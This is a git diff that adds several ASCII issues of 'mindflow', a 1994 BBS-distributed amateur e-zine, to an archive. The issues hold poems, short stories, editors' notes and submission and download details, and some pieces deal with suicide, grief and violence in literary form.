unfortunate wretch +linking soul to soul +doing battle to survive +helpless, screaming unanswered prayers +ominipotent creatures prowling +on to the last breath death. + + +Grade Point 2 (c)1994 Micheal C. Dasit----------------------------------- + +paper piles in the floor +on the desk +disks and books +(no, "texts") +and monitors +reflect in a +dusty mirror +cigarettes, ashtray +evening dusk through +slatted windows +smoke boiling +roiling to the ceiling +yellowed florescents +flicker sometime +off the fan with +no guard in the corner +and the man with +no hope at +the keyboard + + +my love matt libs-------------------------------------------------- + +my precious love +of darque and sweet domain +of which the sun never shines +and falls a constant rain + +such beauty i've never beheld +within my mortal life +your presence remains with me +throughout my pain and strife + +though i may curse you +and defile your fragile mind +my devotion to you will always be +throughout all eternal time + +and even when my life is over +and Death has come for me +i'll remember you, my love +and whatever will be shall be + + +Smudges Kelli Lee-------------------------------------------------- + +Don't dull your sharp tongue on my account. +My halo tilted years ago +when the little boys on the playground +ran around yanking up my plaid skirt +to take a peek at my JC Penney underpants. +The words you speak, I've seen countless times +scrawled in bathroom stalls, +graffitied on abandoned buildings, +carved into desks in detention, +and I've even said a few myself. +When I look into your eyes +not only am I blinded by the light of +intense tractor-beams that pull me +closer and closer and closer, +each word you speak is a calling. +A mystical sound that surpasses +audible words like the +blowing of a conch shell +or the lingering hum of a gong. +In it's own way +a religion. +So, don't let your mommy +or any other woman +spit-wipe your mouth. +Keep it dirty, and kiss me. + + +faces of reality Sarah Levien----------------------------------------------- + +I wear many faces. +Though some may believe +I am what I say, +I am not. + +For never do I show +my true self to another. +And never will I throw open the curtains +to let them weep for the tragedy they see before them. + +Though my lips +may turn upward at the corners, +to reveal maybe a smile, +the eyes tell another story. + +The story begins +with the tears that I shed +and ends +somewhere in the midst of infinity. + +Never! +can I be happy. +For what if tomorrow +I am sad? + +But to them +I am happy. +Free and careless +like the wind! + +Oh, they think they know me. +They do, +but it is not me they know. +They know my facade. + +Look! +My mask is stained. +Quickly, +I must put on another. + +I must hurry +and paint the smile +upon the frown, +before they see. + +For if they saw, +they'd laugh. +But is that so bad? +No, the prospect does not daunt me. + +But still I fear. +I fear them seeing me, the true me. +For if they did, +I'd no longer have me to myself. + + +The Night Noise Mark LaPolt------------------------------------------------ + +My head starts up from fitful doze +I search the empty room. +For some small sign of what I heard +I peer into the gloom. +A noise, a howl? Some beast of night? +I wonder what it was. +That rose me from unpleasent dreams +Whithout revealing cause. +Unsatified, I don my coat +And lightly step outside, +Perhaps the sound repeats itself, +And thereby makes me wise. +The cool night air soothes my soul +and I wonder, 'Could it be? +That in my restless dreaming state +The sound could come from me? +As I ponder this in silence +My ears become aware +Of all those precious little sounds +That waft on night's thin air. +The crickets chirp, the owls cry +Somewhere a night bird sings +And my noise? My phantom noise? +Could it be of these things? +Settled in soul I turn once more +To leave this realm of night. +When once again I hear the sound +That gave me such a fright. +A haunting howl, more piteous +Than any sad refrain, +The noise that woke me from my sleep +From dreams of doubt and pain, +Was nothing more dark and fearful +Than the whistle of the northbound train. + + +RUSH H D Suckow------------------------------------------------- + +The Lemmings + they say --- +RUSH +to throw themselves +in some suicide +act off +cliffs --- in throngs +too many to count. +But - once and late at +night - +in the blue light of +early morning +tv - +I awoke uncomfortably - +laying on a couch too small +and too hard to sleep upon - +to see +footage of Lemmings +RUSHing +in so many large numbers --- +but --- not +to throw themselves --- + +you could see the fear +on furry rodent faces - as +reality showed so clearly +that they were about to plunge unintended--- +and they tried - desperately - +to stop - +to turn back - +but they could not turn back - +and in large numbers - they were +pushed off the cliff - +pushed by those who were behind +and were as yet unaware +of + their journey's + unintended + + end. + + +The Divine Tragedy Cy Routh----------------------------------------------- + + Eyes closed....backwards....fade to WHITE........A body hovers, floating +on a cushion of air, life plasma flowing by leaving a soft, tingling +sensation on the skin that teases each hair, an anxious half-hungry pressure +swirling about just behind the ribs, the lungs short of breath, unique to +love, in an immense whiteness, shadowlessly extending beyond reason, pure, +unconfined by mortal thought, that surpasses in its brilliance any religion, +any philosophy, all the gods for the conscious viewer, vision of the mind. A +white so resplendent, scintillating, angelic, only to be viewed through +closed eyes, the image is forever etched, beyond the optic, encompassing the +spirit, directly into the instinct, only interrupted by diminutive voids of +light emitted by distant, supernal orbs, strewn chaotically in a familiar +pattern, intermingled shimmer of emeralds and sapphires abort impending +suicide. + Approach shadow....plummet........The ivory beast, long, graceful neck +curved forward in introspection meets the gnarled mane in the cylindrical +head, three efficacious, magnifying eye-stalks, spiraling a dying sphere, +iridescence raped by the corruption of the star, is grasping with gaunt, +glimmering arms at the abscessed growth upon her broad, rectilineal breast as +the serene visionary, drawn by the mass of the orb, tumbling toward the +titanic creature, eclipsing the darkness, is swallowed by the arched glass +atop her head. + Paradise lost....exit garden........Light, white, cloud, cream, grey, +storm, black, dark, nothing...but the hiss of air, now frail frame falls from +glory towards the smoke-marbled drab ball, the color of slate infused with +the dying of vegetation, that encompasses ears, flesh with burning, ambrosia +gives way to sulfur, melting hair, lungs that once breathed love now breathe +fire, charred skin flakes away leaving bare nerves to ward off the searing +heat. Innocence is stripped away as the blackened bones shatter upon the +rocks. + + I look through the dark pine boughs, only illuminated by the dying +embers, into the even darker night sky, filled with brilliant specks of +white...and I know. Therefore it is I who will suffer while those who are +ignorant go on mocking bliss. But I have the hope, the vision, to soothe the +pain. They unknowingly pity me. I wish I could pity them. + + +the other side keith shapiro---------------------------------------------- + +the last time i talked to you +i tried to tell you how i feel +but life as usual interrupted +and now you are gone away + +to the other side of the country +to the other side of the world +my heart tells me that you will come back +and so i wait for you +on the other side of tomorrow + +why is it that the road is paved +with left over good intentions +you ran away before i could +the courage in my soul evaporate + +but two lines not parallel +will eventually intersect +my soul knows you will return to me +and so i wait for you +on the other side of tomorrow + +you are the only person who +makes me feel and makes me want to go on +but to you there has to be some other +who you want to carry on +and not me + +but i believe eventually +the world will stand still +and everyone else will go away +and so i wait for you +on the other side of tomorrow + + +------------------------------------------------------------------------------ +thank you for your time +------------------------------------------------------------------------------ + +if you would like to submit a poem, short story, brainstorm, or anything else +that you think belongs in mindflow, please mail me at my home or email me +through the internet or on the ripcurl bbs. this is the official home of +mindflow. all versions of mindflow will be here and available to download +for free. + +josh ruihley keith shapiro +418 wells lane 199 woodlark road +versailles, ky 40383-1545 versailles, ky 40383-9190 +internet : ebbheadky@aol.com internet : shapiro@ukpr.uky.edu + +all versions of mindflow can be downloaded for free from: +rip curl bbs (versailles, ky) : 1.606.873.6637 +. diff --git a/textfiles.com/magazines/MINDFLOW/mf003.txt b/textfiles.com/magazines/MINDFLOW/mf003.txt new file mode 100644 index 00000000..409c216f --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW/mf003.txt @@ -0,0 +1,742 @@ +mindflow #3 07.08.94 +ascii version +concept/editor : josh ruihley + programmer : keith shapiro +------------------------------------------------------------------------------ +mindflow is our attempt at getting different thoughts from people across +the country and putting them together in a nice little file. these thoughts +can be in the form of a poem, short story, brainstorm, graphic, or any other +kind of self expression that can be put on a computer. the purpose is to +create a nice mind trip that people can take once a month that features +different views from different people on different subjects. all that is +needed to take these trips is an open mind, so open up your mind, and enjoy. +if you would like to submit something to be printed in future versions of +mindflow, please either mail or email us. mindflow will not work if it +isn't for 'thought donations', so if you have something that you would like +to be put in here, please, donate your thoughts and make mindflow a trip +worth taking. + +all versions of mindflow can be downloaded for free from: +ripcurl bbs (versailles, ky) 1.606.873.6637 +the void (hopkinsville, ky) 14.4 1.502.886.0517 + 2400 1.502.886.5871 +fallen angel bbs (lexington, ky) 1.606.299.2329 +----------------------------------------------------------------------------- +editors' note + +welcome to mindflow #3. +new this month is the prelude of the ongoing story "the gathering" by +keith shapiro. starting this month, each issue of mindflow will feature an +episode of the gathering. the unique aspect of this story is that although +it is written by keith, you, the readers of mindflow do have control of what +happens. keith will take a compilation of ideas that you give and continue +the story from there. + +please note that all of these pieces are property of their authors and may not +be used in any other program/work/magazine/ect. without the written permission +of the authors. they can be reached c/o us at the addresses given. + +we, the creators of mindflow, would like to remind you that mindflow does not +run on its own. we have spent much of our own time trying to make an +enjoyable compilation for your sake. please, to keep this going, we need +your help. if at any time, we find that there is not enough interest (there +are not enough pieces to print) we will be forced to stop the publication of +mindflow. this is not what we want, so please help us keep this thing going. +thank you for your time. + +-josh and keith + + +----------------------------------------------------------------------------- +A Case of Mistaken Identity +by : Steve Sheiko + + + "I can't believe this!" + "We have the evidence right here. Now it would be better for everyone +involved if you would just go quietly!" + "But I'm not guilty!" protested James Alexander. + "I'm afraid that videotape doesn't lie. Now, I want your resignation on +my desk by five. Clean out your desk. If you haven't removed all your +personal belongings from the building by eight o'clock tomorrow morning, I'll +have to call Security to dispose of them. Don't bother trying to take any of +our property--someone will be watching you at all times." With that his boss +turned away to look out his office window. "Now get out of my office before I +throw you out!" + Alexander stormed out, slamming the door behind him. He'd had a feeling +that this was coming. He had heard the whispers behind his back that a +security camera had taped him stealing from the petty cash drawer. But that +was ridiculous, so he had thought. He didn't even know where the petty cash +drawer was. However, his intuition was piqued when he was told by a terse +message on his phone from the boss telling him to "be in my office at three +o'clock sharp." He knew it to be true when several of his coworkers offered +their condolences at lunch. + His letter of resignation was on his computer screen. Foreseeing the +inevitable, he had typed it up before reporting to his boss's office. With a +sigh of despair, he clicked the Print icon with his mouse. The LaserJet +ground and creaked as it spit out his final document. Leaning over the desk, +Alexander grabbed his fountain pen and affixed his signature to the bottom. +He swept the photos, cards, and memorabilia that cluttered his desk into a +cardboard box. After another cursory check of the now-empty office, he headed +out, locking the door behind him. On his way to the elevator, he dropped his +letter and his office keys on the boss's desk. As the elevator doors closed +in front of him, he left the office for what would be the last time. + When he arrived home, he headed for the phone. He dialed his +girlfriend's number, only to be rewarded with the blaring of her answering +machine. He left a message: "It's Jim. I need to talk to you right away. +It's very important. Call back as soon as you can." As he sat around his +house, he began to think to himself. I'll never be able to get a job again. +Thirty-year-old junior executives don't just resign. And how am I going to +live? I can't pay for this place without my salary! He suddenly said to +himself, "Well, Jim, if you've ever needed a drink, you need one now." + He headed for the kitchen, took a shot glass and a full bottle of Jack +Daniel's from the cupboard, and returned to the living room. Flopping down on +the couch, he picked up the remote control and pointed it at the stereo. +Strains of Tchaikovsky's 1812 Overture poured from the speakers. Forgetting +his glass, he opened the bottle and took a swig, ignoring the burning in his +throat. As the music played on, he continued to drink, emptying the entire +bottle. Everything became hazy. He fell into an alcohol-induced stupor. + As the finale of the Overture began, he jumped to his feet. There it was +again--a cannon shot. An idea materialized in his inebriated mind with +amazing clarity. As if in another world, he stumbled to his bedroom. He +opened the closet. There it was, leaning against the back wall--his +Winchester 12-gauge double barrel shotgun. Grabbing it, he opened the chamber +and looked inside. Both barrels were loaded. So much the better. He sat on +the bed. Deliberately, he pulled back each hammer and placed the barrels of +the gun in his mouth. He began to push down the triggers with one finger. +But something stopped him. He heard a noise at the back door. Lurching out +of his bedroom, he stopped at the window. Darkness. He knew it. What an end +to the worst day in his life--he was about to be robbed! He made up his mind: +It would be a cold day in Hell before the creep left in anything but a body +bag. + He stood in front of the door, shotgun at the ready. As the door swung +open, he shouted "Surprise!" and squeezed both triggers. The cloud of smoke, +dust, and airborne blood droplets obscured his vision for a moment. When the +air cleared, he rolled the body over with the toe of his shoe. It was his +girlfriend, still holding her key in her hand, twin holes blasted through her +stomach. He sank to his knees, sobbing. Just then, a voice boomed out behind +him. + "Jim! It's Bill! Your front door was open. Great news--the guy who +took the money from the petty cash drawer came forward and turned himself in +after you left. The boss wants to give you your job back and . . . " He +walked into the room. "Dear God, Jim, what have you done?" + + +------------------------------------------------------------------------------ +Bird Food +by : Andrew Jones + +Summer with its profusion of animal +carcasses, opposum and skunk, +rotten into cardboard by winter, +when heavy plows scrape the highways +buckling in the extremes of cold and colder. + +I once stumbled into the guts of a skunk +still pumping its stink into the night +air; when morning came, there was blood +up to my knees, I walked in it for miles. + + +------------------------------------------------------------------------------ +For Justice +(c)1994 Amber Goddard + +one day in a forest, +the trees danced, +the music played, +the red bird flew, +the green chair screamed, +Ella cried silently, +my cat climbed a tree, +the bricks fell, +the wind chased her, +the man said yes, +i finished my book, +the table laughed, +the sidewalk ate my horse, +the cracks in the window sang a new song, +she opened the box, +a june bug died quietly, +the flowers attacked the queen's curtains, +Adam fed his nickels to the fish, + and i said i loved you. + + +------------------------------------------------------------------------------ +10:51 pm +by : Joel Wheeler + +the fan above spins +and the crackling blue light +outside blurs the +concentration of the +undersea artist whose +Jesus machine just finished +the julia set. + + +------------------------------------------------------------------------------ +birthday +(c)1994 jon e. dark + +cross your fingers and close +your eyes and wish real hard. +wish harder than you have +ever wished for anything +before. +wish so hard that your brow +furrows and your cheeks +redden. +wish so hard that your +temple begins throbbing and +beads of sweat begin trickling +down your forehead. +wish so hard that your +shoulders actually... +tremble, +your nails draw +a blood drop and tears pool +the corners of your eyes +and then down your cheeks. +wish to the point you +feel you have to scream but +can't. +wish so hard that your head +becomes too hot to hold +in your own two hands. +wish so hard that you break up +the party +because you don't care where +you are or who's around you. +wish until you can taste +blood in your mouth +until it's on your sleeve. +until you can't breathe anymore. +yes, +wish with your last breath. + +now, don't tell anyone what you +were wishing for +and see if it comes true. + + +------------------------------------------------------------------------------ +Camelot +by : Aaron Ramey + +Ne'er did it rain so +In Camelot. + +In Camelot where +Once, +The work was +Hearty, +The army was brave, +The madrigal gay + +And the passion - + + Endless. + +Not so is it now +In Camelot. + +The workers still +Work, +But with marked lack of heart. +The soldiers still +Soldier, +But only for mere wage. +The tune is still sung, +But the meter, twice +As long + +And the passion - + + Gone. + +Vanished with the Queen +On voyage to another + Side of the + Universe. + +Indeed, others have +Sat the throne in her +Stead, + +The endless procession of +Queenies and Princesses, + +But none seem fit to +Sit the seat, +Either too bulky and cumbersome, +Or withered away, without substance. + +And thus, +Ne'er shall this +Truly Camelot be, + +Without its Queen +To keep these rains +Away. + + +------------------------------------------------------------------------------ +yo muse! +by : Su Byron + +yo muse of my throat! +come from your ghetto land +bring me a dollar +on your way up +the dirty flight +where once we stopped +to kiss on necks +bring me some ice +O muse from below +come up from the hysterical avenue +where young boys shout brown things +get outta my way! +O muse from the 100th depth +come up from that place where youÆve stuck yourself +black bodies kicking dust +white bodies kicking stone +young bodies picking fights +pick me my very own bud! +yo muse! +come from that littered land +where I kept my heart in my boots +walking straight out into that three a.m. street +a dollar in my hand +for my muse +the one I dream about +the one I got holed up +we'll take a train! +O muse we'll close our eyes and force the track +crawl up the flight +the stained, slippery stairs +up to my door +where scribbled on the wall +is that name of yours + + +------------------------------------------------------------------------------ +the same +by : Kurt Moskowitz + +nothing is given +for i shall want more than this +as i want more +in you +for what you are i can handle +for what you are is what i love +nothing is different +nothing ever seams to change +because when it comes down to it +everything remains the same + + +------------------------------------------------------------------------------ +loser. +by : melissa pike + +waiting +for the sun to come around again and +thinking +about the warmth i felt and +wondering +when and if it will come again and +hating +the way i feel and +wallowing +in my own self-pity and +crying +because i am weak and alone and +hiding +from the real issue at hand and +wasting +my precious time of life and +regretting +the innocense lost and +realizing +a feeling i never knew i had and +laying +my soul upon the table and +fearing +the reaction and rejection and +losing +my mind +to a loser. + + +------------------------------------------------------------------------------ +Untitled +by : Matt Williamson + +Life is nothing, we are nothing. How do we call this living? A gas keeps +us breathing. Water keeps us alive. Trapped in the fragile body of skin and +bone. I want to fly. I want to soar. To totally escape the confines of +this body would be the most pure fufilling experience. To become unpredudice +and see things in that true form would be pure bliss. If we die, we become +a burnt out particle. The atom is there but how is it made up? Are there +millions of subatoms which make up the partivles of an atom? Who is god? +Where did he come from? Who created him? What is this crazy existence? +Many questions - still no answers. + + +------------------------------------------------------------------------------ +This Feeling Reserved - +A Promise To A Lady +by : Mike C. Dasit + +Some suitors send flowers +some lovers send cards +some charmers send diamonds +in silver and gold +but all I can send you +are words and my feelings - +a tiny, typed piece of my soul + +I had rather send this +than the flowers, soon faded +than the cards, too soon yellowed +than the diamonds, soon lost +The first three require +only money or credit +but a gift of the heart +is beyond any cost + +It cannot be bought +or be borrowed +or stolen +It means nothing at all +if not given for free +You can take this +and keep it somewhere +you can find it +and if you ever need me, +you'll know where I'll be. + + +------------------------------------------------------------------------------ +Darling, Take Out the Trash, Would You? +by : David Asher Brown + + +Faith: +Dust, like dust, dust was once living collected dust. +Frantic: +One foot, two feet, yet I have no arms, Thalomide man, Thalomide baby. +Fishsticks: +Dildos stuffed with salty flesh. + +Find it amusing, all above, worthless metaphores +Find them worthless do you? +Why? + +Good, keep it that way +I find them quite the rage +Quite the rage...rage, fuck you. +Their words, look at them, words flexiable, undefinable +Words. + +Good, now blow your head off. +No? Even better. +Don't die yet, because you can still change negative assholes like me. + + +------------------------------------------------------------------------------ +Hero? +by : Cislyn M. Hunt + +At home he is considered a hero +for bravery, valor in battle +In distant lands they call him a murderer +slaughtering countless sons +~~~~~~~~~~~~~~~~~~ +The salty sweat runs down his face +mingling with the tears +~~~~~~~~~~~~~~~~~~ +At home he has a wife and daughter +doubting his existence a little more each day +The man before him may also be married +with a son: growing taller while he's away +~~~~~~~~~~~~~~~~~~~ +The humid air shimmers +Tensions running high +~~~~~~~~~~~~~~~~~~~ +So similar, with different ideals +So regretfully we humans die +The shot was loud, shattering damp air +One father - in a steamy shelter - continued to cry + + +------------------------------------------------------------------------------ +"The Vintage Years" +by : anonymous + +Take a moment to smell time. +Has it been well worth it? +Is yours sweet wine? + +Waste not those precious drops, +lap it up, pray it won't soon stop. +Live for the challenge, the bravery and a nobel quest, +do what you can to achieve, +seldom rest. + +Have you spoiled opportunity's cork? +Are you throwing your life away? +Reflect right now, then make anew tomorrow's day. + + +------------------------------------------------------------------------------ +door. +(c)1994 josh ruihley + +pre-destined love song plays its tune +the words dont come to mind +and all thats left is time to think +those thoughts which are unkind +that selfishness which plagues my soul +leaves nothing up to me +but to unlock this heavy door +two must hold the key +so now i hum this tune alone +my chance has come and passed +and how i long to chase this thing +but i cant run that fast +the sun will rise the stars will fall +acquaintances ill see +but oh my mind will never clear +the one thats right for me + + +------------------------------------------------------------------------------ +Memories +by : Jennifer Baron + +Memories are full of happy times +And of sad times +They make you laugh +They make you cry +Memories remind you of friendships +And loved ones +Memories are like the Sun- +They never die out +Memories are part of your past +They cannot be replaced, +But can be made + + +------------------------------------------------------------------------------ +Cycles +by : Stephanie Suhler + +Ivy, seared red by frost +Tumbles down the shock grey rock +Like a waterfall of blood. +The mountain blazes with +The last fire of life, +Scarlet and orange erupting +Like wounds in the green velvet. +The wind whips through the trees +And the forest writhes agonizingly +In the throes of yealy death. +Leaves tumble swiftly down +And the trees stand shivering, +Skeletons waiting foe Spring +To reclothe their naked bones. + + +------------------------------------------------------------------------------ +Berserker Reborn +by : Tony Cord + + In hell at least +the souls lay not so +cold as so hot. + In hell at least +justice is served +more often than not. + You ask why? +And I answer... + +Darkness walks as a man, +Is a woman! My blood runs +cold at the sight. + +Demon's whore! +Devil's bitch! +Begone! You are +not wanted here. + How judge you so harshly? +Have you any goddamned right? + No, you don't. +Your ego won't burn even in hell. + + Maybe blood will +fill the gutters tonight. +And I will laugh. + Warm blood, innocent +soaking my shirt, running +down my arm. + Streaming off my blade. + + Hell is mine. +maybe I will give +it to you. + Innocent blood. +The carnage smells of +rust. Fitting in this +canyon of concrete and +steel. + You lied to me, +and fucked me over. +My mastery of mind +is weak. But my +mastery of steel is +great. + The pen is +mightier than the sword, +It's true. But only if +you let it be. So raise your +pen against my rage, +and I will give you hell. + My rage is much like hell. +Hot, and hungry for your soul. + What a cold world +when I can be warmed only +by blood running. + This city is my +battleground, my life +is hell to give. Wed to +grief, injustice, and +sorrow. + Yet still a will to live. + + My wedding ring +is the ring of steel, +my bride hate and malice. +my best man the reaper. +My priest your damnation. + So then! stand +you steel against me! +Time will tel my tale. + Land of the free my ass. + + +------------------------------------------------------------------------------ + expressions + (c)1994 keith shapiro + +all the things i've longed to say +none of them are said +why is it so hard for me +to find the words that echo the feelings +in my heart + +i know it is not you +you are so easy to talk to +then that means it must be me +isn't it? or is it something else +nameless, cold and dark, deep within + +yes! that is it +my discourse with my mind +has shed some light upon it +fear drives the cogs within +my heart only now i know + +inspiration pure and sweet +has often touched my harsh rebukes +a continuous diatribe within my mind +the conflict and the fear overpower +the love and the hope of a spring eternal + +but worry not for me +this splitting forces have not effect +on me or so i think +love will triumph over all +or, is that just the gears of fears + +fears from deep inside +that get out only once or twice +and then are banished again +for a time +to await the coming of the new age + +the new age which may never come +but that is not my decision +for if i can find the words to say +then all of it comes +down to you + +if you love me then tell me, or never +will i know, my heart +works that way. +it only believes what it is told +because sometimes hope can lie + +but i wish for my hope +to this time be telling the truth +so that together +we can be together, +for the rest of time + + +------------------------------------------------------------------------------ +the gathering: prelude +(c) 1994 keith shapiro + + from the journal of tiroth jikad, entry #1: + +today is the 38th day of martol. i start this journal so that those who +succeed me may know the troubles of the the life of one such as i. i was born +15 standards ago, on the 5th day of girod under the 3rd rotation in the place +known as hordan. my mother died during the childbirth, and my father was +already dead... killed by bounty hunters. at least i was told that by my +cousin ginda. she took me in after my mother's death and raised me as her +own son. + +for a time, my life was carefree. i had taken ginda's name of lokari, but as +i grew, i became inquisitive as to the death of my father, i slipped into the +dirty gik-tak bars, where the slavers danced their naked girls for the enjoy- +ment of the custormers. i stood in the shadows and listened to the talk. and +i discovered exactly why my father had been killed. he had been a traveller. +not a normal traveller as you most probably are, but one who could move between +the dimensions. from what i gathered all it required was a thoughtt. he had +been killed because he had "posed a threat" to the security of the galactic +imperium. + +now, it is time. i journey now to learn what my father knew. to learn how to +travel between universes with a thought. from this point forward, i'll +reference this method of travel as blinking... that is what it looks like if +you watch closely. they just sort of fade from existance. but all of this is +here say. i begin now my journey to discover the truth and to right the wrong +done my father. and as such, i take his name now... jikad. it is a name +fit for one such as i. + +all that i take with me is this computer... to store my journal and keep track +of my travels. who else may find this, i know not. ginda was kind enough to +pack me enough food to last a week and some credits. i am sure they will last +me to my destination. but enough... i am tired and i must leave early in the +morning tomorrow. + +*** end of entry *** + + +------------------------------------------------------------------------------ +thank you for your time +------------------------------------------------------------------------------ + +if you would like to submit a poem, short story, brainstorm, or anything else +that you think belongs in mindflow, please mail us at our homes or email us +through the internet. + +josh ruihley keith shapiro +418 wells lane 199 woodlark road +versailles, ky 40383-1545 versailles, ky 40383-9190 +internet : ebbheadky@aol.com internet : lunatix!kshap@s.ms.uky.edu +. diff --git a/textfiles.com/magazines/MINDFLOW/mf005.txt b/textfiles.com/magazines/MINDFLOW/mf005.txt new file mode 100644 index 00000000..1c537aa4 --- /dev/null +++ b/textfiles.com/magazines/MINDFLOW/mf005.txt @@ -0,0 +1,552 @@ +mindflow #5 09.12.94 +ascii version +(c)1994 mindflow publications + +about mindflow------------------------------------------------------------------- +concept/editor: josh ruihley +programmer : keith shapiro + +mindflow is a monthly ezine that features poetry, short stories, brainstorms, +random thoughts, essays, ect. basically, mindflow features thoughts. it +takes what people feel and what people think and it compiles these thoughts +into a monthly mind trip for people across the country and world to enjoy. +all that is really needed to enjoy mindflow is an open mind, so open up your +mind, and enjoy. + +mindflow is free to distribute as long as its contents are not altered in +any way. each piece in mindflow is personal property of its author and may +not be copied in any way (except when distributed with the whole issue of +mindflow). + +format: +right now, mindflow is distributed in two formats. + one: ibm .zip file. this file includes the actual mindflow program which +is menu driven and has vga graphics. if you are on an ibm, ***i highly +recommend that you check this version out.*** + two: universal .txt file. this is just all of the contents of mindflow +typed out in ascii (.txt) format. this will work and print on almost any +operating system out there. all of the same great pieces, but not as +pretty as the .zipfile. + +subscriptions: +subscriptions to mindflow are free. to subscribe, just send your email +address to: + +kdshap0@nx41.mik.uky.edu or +jrruih0@ukcc.uky.edu + +please include whether you want the ascii (.txt) version or the uue encoded +.zip file. + +submissions: +this is the most important thing about mindflow. without your thoughts and +your submissions, mindflow would be nothing. for the most part, all +submissions are accepted , so if you would like to see +something of yours in mindflow, please, send us your submission. + +all versions of mindflow (.zip and .txt) are available at: + +bulletin board systems: +ripcurl bbs (versailles, ky) 14.4 1.606.873.6637 +the void (hopkinsville, ky) 14.4 1.502.886.0517 + 2400 1.502.886.5871 +fallen angel bbs (lexington, ky) 9600 1.606.299.2329 +aoyu (lexington, ky) 2400 1.606.273.6836 + +commercial: +america online +keyword: writers +writers club e-zines + +internet: +anonymous ftp: archive.etext.umich.edu /pub/Zines/Mindflow + +editors note------------------------------------------------------------------ + +welcome to mindflow #5! this month is a big month for us. mindflow is now +officially on the internet. this means that mindflow is now available to a +whole new group of people: definitely a step in the right direction. + +we here at mindflow are also heavily encouraging subscriptions to mindflow. +subscriptions are absolutely free and mindflow will be in your mailbox the +day of release each month. to subscribe, just send your email address to +keith . please let him know if you would prefer +the ascii (.txt) file or the uue encoded .zip file. + +this issue: once again, there are many, many great thoughts from different +people in this mindflow. most pieces this month can be classified in the +brainstorm, poetry categories. there was a shortage of short stories this +month, so we can try to make up that next month! anyway, i hope you enjoy +this monthly compilation of thoughts..... + + +------------------------------------------------------------------------------ +Autumn Storm By Danielle Cosney------------------------------------------- + +Crisp, iridescent leaves +scrape the pavement +as gusts of warm, damp winds +carry them along. +Swarthy, somber clouds +swiftly roll in +obscuring the bright sun. +Irrigous drops +fall from the ominous skies +creating a gentle patter +on the softening ground. +The sweet smell of damp leaves +floats soothingly with the breeze. + + +cobain by Kurt Moskowitz-------------------------------------------------- + +why idolize something +why worship someone +because there life is not finished and done +4 he brought it upon himself +not you +there is no need for hysterics +no need to hold your breath +no need to repress your own freedom +because most people expect more of you + +media surrounded him +sharpened there knives +and you can damn well say he payed the price + +for it was them +that did it +they wont admit it +for the gun he used the media filled +why do they morn for someone they +killed + + +a thought by Ann Keller---------------------------------------------------- + +Sometimes the best times we have are only shared with our dreams. + + +the fall by Andy Malloy--------------------------------------------------- + +looking down i see the rocks +and water flowing, white turbulence +leaning forward thinking only +"is it worth it?" and +"is it worth it?" +tipping past the point of balance +moving beyond no return +i'm falling, falling +toward the rapids +wind howling in my ears +everything's a blur +then in an instant +it's over +and my body swings +under the bridge + + +Untitled by Mike Laiacona-------------------------------------------------- + +5am and sober +i've never felt better +life isn't broadcasted in 2 tones of gray +life isn't hating myself or you +life isn't a hazy delirium dream + +i still haven't forgiven myself for your death +but i think about it almost every day +I remember watching the news about +our latest effort overseas +and I can never forget seeing your name among +those killed, +and I can never forget feeling sick to my stomach +so numb i couldn't begin to think it was true + +I crawled into a bottle that night and +did not leave until now + +In altered states, I am the fool +the prophet who seizes life in one breath +and easily brushes it aside with the next +In altered states the pain is all to real +I wanted to lay side by side with you +forever +It was all to easy to do +and that scared the hell out of me, +so now it's 5am and sober +and I never want to go back... + + +flagging down the angels by Su Byron---------------------------------- + +you gotta try to catch them +these winged beings +as they fly over churches on Sundays +you gotta be quick +to catch these pure things +barely born and still covered with that cloak +that coat of newborn goodness +you gotta jump high to bring them down +you gotta climb to the highest step +while the minister curses you +under his breath +you gotta be quick +and kiss every hand that will help you to +where you need to be +you gotta be able to stay on the roof +all night while other guys +make love and drink beer and read verse +to their g-stringed mistresses +you gotta play the game to get there +to catch those flying angels +believe me +I caught one in a dream once +and flew all night +through bursts of violin music +and sights of strange color +that broke my heart +you gotta kneel when you're close below them +and with the cleanest face you can muster up +you gotta gaze on them +and with pure thoughts you +gotta beg them not to pass you over + + +Untitled by Bryan Mullins------------------------------------------------- + +little flower, why do you wilt so? +when all your days are filled +with sunshine +and green fields? + +a dark cloud has passed over you +and threatens not to leave? +blocking the sunshine, +making green fields grey. + +little glower, worry not +your pretty purple petals, +the sunshine within you +turns again the grey fields +green. + + +Mirrors author unknown----------------------------------------------- + +Who was he? The strange man in the mirror. I never knew. I laughed with him +sometimes, cried with him more, yet I never knew who he was. We often stared +at each other but he never spoke to me or betrayed his secrets to me. + +I've heard that some people believe the mirror holds their soul and provides +them a short visitation of it. Yet each time I came to the mirror, I was met +by this cold stranger. I was forced by him to search within me to find my +soul. + +After long searching I finally came to her, sealed behind many walls and +buried beneath tears and lies. I looked to her and cried, embracing her after +so long. I began tending her wounds and helped her from that place, giving +her freedom. She smiled and rose, filling me and embracing me. Now when I +meet the mirror, I see her and she smiles tenderly to me. We share our +thoughts and secrets. I speak fondly to her and feel her reply. + +But I wonder what happened to the man in the mirror and who he was. I wish I +could have known him and spoken to him. He is gone forever now. Perhaps he +never existed, except as the guardian protecting my soul until she was strong +enough to stand alone. + + +--------------------------myself by paul kell------------------------ + + to + crawl + outside + myself + and view what's + left + the visions of what + i want to be + my sights on what + i want to see + the + mellow meadows + of my mind + changing seasons + changing time + changing things + i want to find + all wasted words + from + wasted lines + the + cold creeps + in the + light eludes + my soul's what's + left + the + dark secludes + all that i see is + what i am + not + what i'll be + not + what i've been + alone + to be + without you + here + i see my sin + i see my fear + i see myself + in this + mirror + an + empty shell + of what is + dear + what was + life + is now not + there + so + what is it + that + i've found + in these + walls + that + surround + to make my + hopes and thoughts + resound + an + inner peace + before + unfound + tis it life + flows from within + beneath my breast + beneath my skin + beneath my soul + the light within + or is it + not + a + myth + a + tale + a + talisman + old and frail + could it be + something else + gold within + an untold + wealth + i know not + what + makes me decide + right and wrong + in all confide + my + conscious state + of + love and hate + both absolutes + we both + debate + loss of life + or + loss of soul + the + quest for truth + my + final goal + "stricken, smitten, and afflicted" + the + anti-climax + makes me + whole + + +Impatient Patience by Don McCormick--------------------------------------- + +People say I'm impatient +And that I have to learn +That the world won't move when I want +And I've got to wait my turn +In my heart I know they're right +And I'm doin' what I can +But until I attain deliverance +This is just the way I am. + +Now I know that the earth harbors +Many strays, dimwits, fools and worse +And I hear tell in third world countries +Many people die shortly after birth +But here in the U.S.A. Texas Triangle +'Ole Beaumontville +Our longevity permits +That we may fret +Over nothing more than a utility bill. + +But, lately I've found something that seems important +And disturbs my little brain +Concerns this girl I met the other night +And if I'll ever see her again + +That may seem a little selfish, +(Living in such a 